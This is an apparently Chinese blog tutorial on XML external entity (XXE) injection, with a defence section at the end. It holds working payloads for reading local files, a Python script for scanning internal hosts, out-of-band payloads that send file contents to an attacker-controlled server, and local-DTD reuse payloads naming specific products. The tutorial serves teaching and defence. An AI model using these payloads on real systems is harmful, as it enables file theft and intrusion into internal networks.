XXE 從入門到放棄

0x00 前言

如果各位表哥表姐已經懂得啥是 XML, DTD, 那麼可以直接從0x02 什麼是 XXE?開始看; 如果你只是大概知道啥是 XML , 那麼我建議你從頭開始看!

0x01 XML 與 DTD

XXE漏洞全程爲XML External Entity Injection, 也就是XML外部實體注入漏洞。 顯然, 這個漏洞和 XML 有關(廢話), 那第一步, 先了解什麼是XML

什麼是XML?

百度百科

可擴展標記語言, 標準通用標記語言的子集, 是一種用於標記電子文件使其具有結構性的標記語言。

簡單來說, 它是一種語言, 表現形式類似於HTML(超文本標記語言), 而XMLHTML的差別在於, HMTL是用於展示數據和頁面, 而XML是爲了更好的存儲和傳輸數據。

HTML的容錯能力使得格式可以 不必十分規範, 例如有時可能忘記閉合標籤了也不會出錯。而XML語法就嚴格很多。XML的語法可以參見菜鳥教程簡單瞭解即可。

當然, 爲了方面我們理解, 我們這裏會簡單討論一下 xml 的構建模塊, 即 xml 由什麼東西組成.

所有的 XML 文檔均由以下簡單的構建模塊構成:

  • 元素
  • 屬性
  • 實體
  • DATA

元素

元素是啥沒啥好講的, 基本上就長下面的樣子.

<元素名></元素名>

舉個例子, 下面代碼中有兩個元素, bodymessge, 其中body的值是123, message的值是abc

<body>123</body>

<message>abc</message>

屬性

屬性可提供有關元素的額外信息

屬性總是被置於某元素的開始標籤中。屬性總是以名稱/值的形式成對出現的。下面的 “img” 元素擁有關於源文件的額外信息:

<img src="computer.gif" />

元素的名稱是 “img”。屬性的名稱是 “src”。屬性的值是 “computer.gif”。由於元素本身爲空, 它被一個 " /" 關閉。

實體

實體是用來定義普通文本的變量, 在 xml 中的格式如下:

<元素名>&實體名;</元素名>

&開頭, 中間是名字, 以;結尾

那怎麼理解實體呢?

簡單來說, 就相當於我們學 C 語言的時候, 定義一個變量, 並給該變量賦值, 以後我們就通過該變量名來引用值

舉個例子, 我們在 xml 中, 定義了一個變量名爲&lt;, 給他賦值爲<, 那麼我們使用&lt;的時候, 就相當於是用<了.

別問我爲啥<的變量名叫&lt;, 問設計 xml 的大佬去!!

那麼爲啥不直接使用<, 而要用&lt;替代呢? 很簡單, 因爲<和 xml 語法規則衝突了, 解析器會把<當作新元素的開始唄. 舉個例子:

正常來說, 我們在 xml 中定義一個元素如下:

<body>if salary = 1000 then</body>

現在我們要修改body的值爲if salary < 1000 then, 難道我們要這樣改?

<body>  if salary < 1000 then </body>

如果按照上面的改法, <都不配對了, 都不滿足 xml 的元素格式了, 那麼 xml 怎麼可能知道你的元素是叫body, 對吧!!

所以改成下面這樣子, 就不會和語法衝突了

<body>1&lt;</body>

當上面的 xml 被解析的時候, &lt;就會被替換成<

XML預定義了下面五個實體引用, 當文檔被 XML 解析器解析時, 實體就會被展開。

實體引用 字符 意思
&lt; < less than
&gt; > greater than
&amp; & ampersand
&quot; " straight double quotation mark
&apos; apostrophe

當然, 最重要的一點是, 我們可以使用 DTD 聲明使用實體!!, 至於 DTD 是啥, 下面會說到.

字符數據

可把數據理解爲 XML 元素的開始標籤與結束標籤之間的文本。

除了 CDATA 區段中的文本會被解析器忽略之外, XML 文檔中的其他文本均會被解析器解析

所以把數據分成可以解析的不能解析兩種

PCDATA

PCDATA 的意思是被解析的字符數據(parsed character data)

PCDATA 是會被 XML 解析器解析的文本, 文本中的標籤會被當作標記來處理, 而實體會被展開。

簡單來說, 就是當某個 XML 元素被解析時, 其標籤之間的文本也會被解析, 如下:

<message>This text is also parsed</message>

當然, 上面的 “This text is also parsed” 解析不出啥東西.

但是, 如果 XML 元素包含了其他元素, 就像下面這個實例中, 其中的 <name> 元素包含着另外的兩個元素(firstlast):

<name> <first>Bill</first><last>Gates</last> </name>

解析器會把它分解爲像這樣的子元素:

<name>
    <first>Bill</first>
    <last>Gates</last>
</name>

也正因爲如此, 如果被解析的字符數據中包含 &< 或者 > 字符之類的字符, 則需要使用 &amp;&lt; 以及 &gt; 實體來分別替換它們, 防止如<被解析成元素開頭這類的錯誤發生

CDATA

CDATA 的意思是字符數據(character data)

在XML中, 指定某段內容不必被XML解析器解析時, 使用<![CDATA[...]]>。也就是說中括號中的內容, 解析器不會去分析。所以其中可以包含>, <, &, ', "這5個特殊字符。經常把一段程序代碼嵌入到<![DATA[...]]>中。 因爲代碼中可能包含大量的 >, <, &, "這樣的特殊字符。

例如在XML中聲明:

<script>
    <![CDATA[
        if(i<10){
          printf("i<10");
        }
    ]]>
</script>

script元素的值就是那一大串的代碼

什麼是 DTD 文檔類型定義?

XMLDTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。它使用一系列合法的元素來定義文檔的結構。

DTD文件對當前XML文檔中 的節點進行了定義, 這樣我們加載配置文件之前, 可通過指定的DTD對當前XML中的節點進行檢查, 確定XML結構和數據類型是否合法。

DTD(文檔類型定義)部分, 規定了文檔元素裏的數據類型, 以及可以出現哪些元素DTD菜鳥教程

簡單來說, DTD 就是定義了我們的 XML 長啥樣子!

元素

在 DTD 中, XML 的元素通過 元素聲明 來進行聲明。元素聲明使用下面的語法:

<!ELEMENT 元素名 類別><!ELEMENT 元素名 (子元素)>

空元素

空元素通過類別關鍵詞 EMPTY 進行聲明:

<!ELEMENT element-name EMPTY>

例子如下:

DTD:

<!ELEMENT br EMPTY>

XML:

<br/>

只有 PCDATA 的元素

只有 PCDATA 的元素通過圓括號中的 #PCDATA 進行聲明:

<!ELEMENT element-name (#PCDATA)>

實例:

<!ELEMENT from (#PCDATA)>

帶有任何內容的元素

通過類別關鍵詞 ANY 聲明的元素, 可包含任何可解析數據的組合:

<!ELEMENT element-name ANY>

實例:

<!ELEMENT note ANY>

帶有子元素(序列)的元素

帶有一個或多個子元素的元素通過圓括號中的子元素名進行聲明:

<!ELEMENT element-name (child1)><!ELEMENT element-name (child1,child2,...)>

實例:

<!ELEMENT note (to,from,heading,body)>

當子元素按照由逗號分隔開的序列進行聲明時, 這些子元素必須按照相同的順序出現在文檔中。在一個完整的聲明中, 子元素也必須被聲明, 同時子元素也可擁有子元素。“note” 元素的完整聲明是:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

其他

還有其他的聲明, 如聲明出現零次或多次的元素等等, 請自行查看

https://www.runoob.com/dtd/dtd-elements.html

DOCTYPE

內部 DOCTYPE 聲明

假如 DTD 被包含在您的 XML 源文件中, 它應當通過下面的語法包裝在一個 DOCTYPE 聲明中:

<!DOCTYPE root-element [element-declarations]>

帶有 DTD 的 XML 文檔實例如下:

<!--XML聲明-->
<?xml version="1.0"?>
<!--文檔類型定義-->
<!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)> <!--定義to元素爲"#PCDATA"類型, PCDATA爲字符串類型-->
<!ELEMENT from (#PCDATA)> <!--定義from元素爲"#PCDATA"類型-->
<!ELEMENT head (#PCDATA)> <!--定義head元素爲"#PCDATA"類型-->
<!ELEMENT body (#PCDATA)> <!--定義body元素爲"#PCDATA"類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

外部 DOCTYPE 聲明

假如 DTD 位於 XML 源文件的外部, 那麼它應通過下面的語法被封裝在一個 DOCTYPE 定義中:

<!DOCTYPE root-element SYSTEM "filename">

這個 XML 文檔和上面的 XML 文檔相同, 但是擁有一個外部的 DTD

<?xml version="1.0"?>

<!DOCTYPE note SYSTEM "note.dtd">

<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

那個外部 DTD note.dtd文件如下

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

四種實體 Entity 聲明

還記得前面講過的&lt;這個代表>的實體嗎? 現在我們可以在DTD中自定義了

內部實體

語法:

<!ENTITY 實體名稱 "實體的值">

**實例: **

<!DOCTYPE foo [                <!--定義此文檔是 foo 類型的文檔-->
<!ELEMENT foo ANY >            <!--foo 元素是可包含任何可解析數據的組合-->
<!ENTITY xxe "Thinking">]>     <!--定義一個內部實體xxe, 值是"Thingking"-->

<foo>&xxe;</foo>

外部實體聲明

**語法: ** 在DTD 中定義, 在 XML 文檔中引用

<!ENTITY 實體名稱 SYSTEM "URI/URL">

**實例: **

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]> <!--個人的理解是將 http://www.runoob.com/entities.dtd 的dtd 文件包含進當前文件裏, 類似於 php的文件包含-->
<reset>
  <login>&test;</login>
  <secret>login</secret>
</reset>

上述兩種均爲引用實體, 主要在XML文檔中被應用, 引用方式:&實體名稱; 末尾要帶上分號, 這個引用將直接轉變成實體內容。

可以看出, 外部實體是可以訪問外部dtd文件的, 而外部實體注入攻擊正是利用了這一 點。

參數實體聲明

**語法: **

<!ENTITY % 實體名稱 "實體的值">
<!ENTITY % 實體名稱 SYSTEM "URI/URL">
  1. 參數實體, 使用 % 實體名(這裏面空格不能少) 在 DTD 中定義, 並且只能在 DTD 中使用 %實體名; 引用
  2. 參數實體也可以外部引用, 允許包含外部實體, 就可能存在XXE 攻擊

**實例: **

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [
<!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" >
<!ENTITY xxe "%body;">
]>
<reset>
  <secret>login</secret>
</reset>

參數實體在我們 Blind XXE 中起到了至關重要的作用

外部引用可支持http, file等協議, 不同的語言支持的協議不同, 但存在一些通用的協議, 具體內容如下所示:

公共實體聲明

**語法: **

<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">

0x02 什麼是 XXE?

假設有個應用有一個很簡單的功能, html 有個表單提交, 如下:

<login>
  <user>admin</user>
  <pass>123</pass>
</login>

服務端接收該 xml 之後, 將其中的用戶名和密碼解析出來

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo "Username: ".$creds->user."</br>";
	echo "Password: ".$creds->pass;
?>

當然這是正常的操作, 如果我是黑客, 我們會怎麼做呢? 給這個 xml 加上一段 dtd, 讓 xml 解析器我們引入的外部實體, 這樣子, 我們想讀哪個文件, 就讀哪個文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///e:/flag.txt" >]>
<login>
  <user>&xxe;</user>
  <pass>mypass</pass>
</login>

這就是所謂的 XXE, xml 外部實體注入攻擊!

0x03 由淺入深理解XXE的利用方式

到此, 已經瞭解了什麼是XML, 什麼是DTD, 以及一個XXE的基本流程是什麼樣的。由於是一種代碼注 入, 必然需要去了解語法知識, 理解payload的構造方式。

有回顯的XXE

1. 讀取本地文件

在本地裏建立一個flag.txt看看效果。

xxe.php內容如下

<?php
    libxml_disable_entity_loader (false);        // 若爲true, 則表示禁用外部實體
    $xmlfile = file_get_contents('php://input'); // 可以獲取POST來的數據
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

構造payload發送

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///e://flag.txt">
]>
<hack>&file;</hack>

結果如下圖:

2. 讀取含有特殊字符的本地文件

因爲這個flag.txt文件沒有什麼特殊符號, 於是我們讀取的時候可以說是相當的順利, 我要是給這個文件加上一些特殊字符呢?

# /etc/fstab: static file system information.
# # <file system> <mount point> <type> <options> <dump> <pass>
proc	/proc	proc defaults	0	0 /dev/hda2	/
ext3	defaults,errors=remount-ro 0	1 ...
flag{This_is_flag}

我們試一下, 結果如下圖:

可以看到, 不但沒有讀到我們想要的文件, 而且還給我們報了一堆錯, 怎麼辦?

因爲我們用的是 PHP, 自然而然的想到了 PHP 的僞協議:

<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=e://flag.txt">
]>
<hack>&file;</hack>

效果如下:

IyAvZXRjL2ZzdGFiOiBzdGF0aWMgZmlsZSBzeXN0ZW0gaW5mb3JtYXRpb24uDQojICMgPGZpbGUgc3lzdGVtPiA8bW91bnQgcG9pbnQ+IDx0eXBlPiA8b3B0aW9ucz4gPGR1bXA+IDxwYXNzPg0KcHJvYwkvcHJvYwlwcm9jIGRlZmF1bHRzCTAJMCAvZGV2L2hkYTIJLw0KZXh0MwlkZWZhdWx0cyxlcnJvcnM9cmVtb3VudC1ybyAwCTEgLi4uDQpmbGFne1RoaXNfaXNfZmxhZ30=

拿去 base64 解碼就可以看到內容了

那除了 php 僞協議, 還有啥完全之策沒有? 這個時候就要祭出我們講到的一個神器了------CDATA

CDATA用處是萬一某個標籤內容包含特殊字符或者不確定字符, 我們可以用 CDATA 包起來

那我們把我們的讀出來的數據放在 CDATA 中輸出就能進行繞過, 但是怎麼做到, 我們來簡答的分析一下:

首先, 找到問題出現的地方, 問題出現在

<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///e://flag.txt">
]>
<hack>&file;</hack>

引用了可能會引起 xml 格式混亂的字符(在XML中, 有時實體內包含了些字符, 如&,<,>,",'等。這些均需要對其進行轉義, 否則會對XML解釋器生成錯誤), 我們想在引用的兩邊加上 <![CDATA[]]>,但是好像沒有任何語法告訴我們字符串能拼接的, 於是我想到了能不能使用多個實體連續引用的方法

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM "file:///e://flag.txt">
<!ENTITY end "]]>"> ]>
<hack>&start;&goodies;&end;</hack>

結果如下圖:

注意, 這裏面的三個實體都是字符串形式, 連在一起居然報錯了, 這說明我們不能在 xml 中進行拼接, 而是需要在拼接以後再在 xml 中調用, 那麼要想在 DTD中拼接, 我們知道我們只有一種選擇, 就是使用參數實體

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hack [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///e:/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://localhost:8081/test/evil.dtd"> 
%dtd; ]>

<hack>&all;</hack>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

我們先簡單分析一下這段 payload

  1. <!DOCTYPE hack 定義此文檔是 hack 類型的文檔

  2. 然後聲明三個參數實體: start, goodies, end, 其中goodies的值是flag.txt文件的內容

  3. 接着聲明外部參數實體dtd

  4. 然後調用了%dtd;, 即會訪問http://localhost:8081/test/evil.dtd, 聲明瞭一個實體all, 其值是那三個實體的調用

  5. 到此, 聲明瞭一大坨的實體, 就調用了dtd那個實體

  6. 最後在 xml 中調用了all實體 -> 調用那三個實體中的start->start被替換成<![CDATA[-> 調用goodies -> goodies被替換成 flag.txt 的內容-> 調用end->end被替換成]]>-> 然後三個替換的值拼接在一起 -> all被替換成拼接在一起的值

  7. 現在的 xml 變成如下的樣子

    <hack>
    <![CDATA[
        flag.txt 文件的內容
    ]]>
    </hack>
    
  8. 因爲我們的 php 代碼的意思是要將解析出來的內容輸出, 所以頁面會輸出 hack 之間的內容

結果如下圖:

3. 內網主機探測

我們以存在 XXE 漏洞的服務器爲我們探測內網的支點。

要進行內網探測我們還需要做一些準備工作, 我們需要先利用 file 協議讀取我們作爲支點服務器的網絡配置文件, 看一下有沒有內網, 以及網段大概是什麼樣子

以linux 爲例, 我們可以嘗試讀取 /etc/network/interfaces 或者 /proc/net/arp或者 /etc/host 文件以後我們就有了大致的探測方向了

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.82.135"> ]>
<creds>&goodies;</creds>

根據響應的時間的長短判斷主機是否存在, 可以通過burp重放遍歷端口

下圖可以看到, 因爲192.168.82.135是我的 xp 虛擬機, 然後可以看到響應時間是968ms

然後將 ip 改成不存在的192.168.82.136, 發現響應時間變成了20.97s

下面是一個探測腳本的實例:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    # 這裏的超時設置成 5s, 可以根據實際情況修改
    x = requests.post('http://localhost:8081/test/xxe.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

4. 內網主機端口探測

找到了內網的一臺主機, 想要知道攻擊點在哪, 我們還需要進行端口掃描, 端口掃描的腳本和主機探測的腳本幾乎沒有什麼變化, 只要把 ip 地址固定, 然後循環遍歷端口就行了

這裏爲了方便演示, Metasploitable2 啓動!!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.82.136:22"> ]>
<creds>&goodies;</creds>

根據響應的時間的長短判斷端口是否開放, 可以通過burp重放遍歷端口;如果有報錯, 可以直接探測出banner信息。

5. 內網系統源碼探測

這裏演示用 dvwa 的 login.php 頁面

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.82.136/dvwa/login.php"> ]>
<creds>&goodies;</creds>

base64 解碼如下:



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

	<head>

		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

		<title>Damn Vulnerable Web App (DVWA) - Login</title>

		<link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />

	</head>

	<body>

	<div align="center">
	
	<br />

	<p><img src="dvwa/images/login_logo.png" /></p>

	<br />
	
	<form action="login.php" method="post">
	
	<fieldset>

			<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
	
			
			<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
			
			
			<p class="submit"><input type="submit" value="Login" name="Login"></p>

	</fieldset>

	</form>

	
	<br />

	

	<br />
	<br />
	<br />
	<br />
	<br />
	<br />
	<br />
	<br />	

	<!-- <img src="dvwa/images/RandomStorm.png" /> -->
	
	<p>Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project</p>
<p>Hint: default username is 'admin' with password 'password'	</p>
	</div> <!-- end align div -->

	</body>

</html>

無回顯 XXE

1. 外帶數據讀取文件

如果沒有回顯, 我們如何獲得外帶出獲得數據呢?

首先, 我們設置一個變量 %file 用來承接讀取到的內容

接着, 對我們的vps服務器發起一次get請求, 並且拼接上數據去請求, 不就可以外帶數據了嗎?

按照思路, 我們可以構造如下語句, 似乎沒啥毛病?

<?xml version="1.0"?>
<!DOCTYPE hack [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/flag.txt">
    <!ENTITY % send SYSTEM "http://192.168.82.131/?%file">
    %send;
]>

但是實際上上面語句是不正確的, 由於同級的參數不會被解析, 所以不行

所以考慮一下嵌套, 於是構造如下語句, 可是還是報錯了。

<?xml version="1.0"?>
<!DOCTYPE hack [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/flag.txt">
    <!ENTITY % exp "<!ENTITY &#37; send SYSTEM 'http://192.168.82.131/?%file;'>">
    %exp;
    %send;
]>

嵌套的%需要進行實體編碼: https://www.css-js.com/tools/unicode.html 或者去 http://www.howtocreate.co.uk/sidehtmlentity.html 查詢, 這裏%可以轉換成十六進制的&#x25, 也可轉出成十進制的&#37

在內部DTD裏, 參數實體引用只能和元素同級而不能直接出現在元素聲明內部, 否則 XML 解析器會報錯

也就是說 %file 是參數實體引用不可以出現在exp元素聲明的內部

於是將

<!ENTITY % exp "<!ENTITY &#37; send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;

寫在可控的服務器上, 這裏我寫在本地的 kali 上

然後將 payload 改成如下:

<?xml version="1.0"?>
<!DOCTYPE hack [
    <!ENTITY % get SYSTEM "http://192.168.82.131/a.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/flag.txt">
    %get;
    %send;
]>

先引用了%get對象, 發起請求, 加載了a.dtd, 而a.dtd中聲明並引用了%exp, 接在exp裏聲明瞭send, 最後send裏有file

可以看到服務器有兩條記錄, 首先是先獲取a.dtd, 然後第二次又發起了一次請求, 外帶出了數據

2. 如果無法訪問外部的DTD文件怎麼辦?

上述的方法, 是遠程加載了一個DTD文件。如此做的原因在於參數實體引用只能和元素同級而不能直接出現在元素內部

我們將如下語句寫在了可控的服務器上, 進行遠程獲取, 這樣就避免了這個問題。

<!ENTITY % exp "<!ENTITY &#37; send SYSTEM 'http://192.168.82.131/?%file;'>">
%exp;

同理, 那麼只要引入一個文件, 不管是本地還是遠程文件, 目的是在於繞過上述限制。於是我們可以引用本地的dtd文件重寫裏面的DTD實體, 即可達到和上述一樣的效果 。

如果發現任何DTD文件已經存在於目標服務器文件系統的某個位置, 該文件由參數實體(例如<!ENTITY % injectable "something">)組成, 並且在該DTD本身的某個位置被引用(例如<!ENTITY % random (%injectable;)>)。然後, 我們基本上可以覆蓋該實體的內容, 而只需在OOB 中的外部 evil.dtd 中編寫將要執行的操作。

例如如果服務器上存在/usr/share/xyz/legit.dtd:

..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..

如果您在XXE中添加以下內容:

<!DOCTYPE xxe[
<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd">
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
</root>

然後, 解析的XML內容將從現在 <!ENTITY % random (%injectable;)>變爲 <!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>

因爲我們在 Windows 環境下, 所以, 我們可以找C:/WINDOWS/system32/wbem/xml/cim20.dtd這個 dtd 文件

打開這個文件, 可以找到一個參數實體SuperClass的定義

和它的調用

所以, payload 應該長這個樣子

<!ENTITY % local_dtd SYSTEM "file:///C:/WINDOWS/system32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>這裏填 DTD 代碼<!ENTITY test "test"'>
%local_dtd;

下面的 payload 利用了報錯, 傳入一個不存在的文件路徑abcxyc爆出了內容:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///C:/WINDOWS/system32/wbem/xml/cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "php://filter/read=convert.base64encode/resource=file:///e:/flag.txt">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    <!ENTITY test "test"'>
    %local_dtd;
]>
<message>any text</message>

本地 dtd 文件

Linux 系統
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

payload一般如下:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///flag">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>
Windows系統
<!ENTITY % local_dtd SYSTEM "file:///C:/WINDOWS/system32/wbem/xml/cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
思科WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Citrix XenMobile服務器
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
多平臺IBM WebSphere應用
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

0x04 XXE 如何防禦

方案一:使用語言中推薦的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手動黑名單過濾(不推薦)

過濾關鍵詞:

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

參考鏈接

https://xz.aliyun.com/t/3357

https://www.cnblogs.com/flokz/p/xxe.html

https://xz.aliyun.com/t/6913

歡迎大家訪問我的博客: https://fengwenhua.top , 雖然博客上面沒啥東西!

發佈了40 篇原創文章 · 獲贊 58 · 訪問量 8萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章